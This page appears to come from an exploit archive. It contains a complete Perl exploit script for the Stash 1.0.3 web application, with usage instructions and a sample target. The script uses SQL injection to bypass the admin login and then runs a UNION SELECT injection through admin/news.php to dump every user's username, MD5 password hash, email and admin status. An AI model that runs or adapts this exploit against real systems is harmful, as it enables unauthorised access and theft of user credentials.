Stash 1.0.3 (SQL) User Credentials Disclosure Exploit

Advisory Content :

#!/usr/bin/perl -w
#
# User credentials disclosure exploit - stash103exp.pl
#
# Gnix <gnixmail@gmail.com>
# http://gnix.netsons.org
#
# This exploit use an SQL Injection in the file admin/login.php to
# bypass the login, and then an SQL Injection in the admin/news.php
# to extract all the users info. Note: password are crypted with md5.
#
# Output for each user:
# user_id:user_username:user_password:user_key:user_firstname
user_lastname:user_email:user_admin
#

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Cookies;

# Variables
my $cjar = new HTTP::Cookies( file => 'cookies.txt',
autosave => 1,
ignore_discard => 0);
my $agent = new LWP::UserAgent;
$agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM');

# Check argv
if(@ARGV != 3) {
print "[?] Usage : perl stash103exp.pl <stash_dir_address>
<admin_username> <table_prefix>\n";
print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n";
exit(1);
}

# Authentication
if(!auth($ARGV[0],$ARGV[1])) {
print "[!] Error during the authentication!\n";
exit(1);
}

# Extract all the user information
my $info = extract_data($ARGV[0],$ARGV[2]);
if(!$info) {
print "[!] Error when extracting data!\n";
exit(1);
}

# Print user information
$_ = $info;
my @users = m/<1>(.+?)<2>/g;
foreach my $user (@users) {
print $user."\n";
}

exit(0);

###########################################################################

# Login as $ARGV[1] and save the PHPSESSID cookie
sub auth
{
my $address = shift;
my $username= shift;

# Login
my $response= $agent->post($address.'admin/login.php',
{username => "' OR user_username =
'$username",
password => "any",
submit => "Log in"});

# Save PHPSESSID cookie
$cjar->extract_cookies($response);

return $response->is_redirect();
}

# Inject a query through news.php to extract all the info about every user
sub extract_data
{
my $address = shift;
my $prefix = shift;

my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title,
".

"CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,".
"':',user_firstname,' ', user_lastname,':', user_email,':',
user_admin,".
"'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0
".
"AS news_comment FROM ".$prefix."news, ".$prefix."user";

my $request = new HTTP::Request('GET',
$address.'admin/news.php?post='.$query);

$agent->cookie_jar($cjar);
my $response= $agent->request($request);

if($response->is_success()) {
return $response->content();
}
else {
return undef;
}
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Stash 1.0.3 (SQL) User Credentials Disclosure Exploit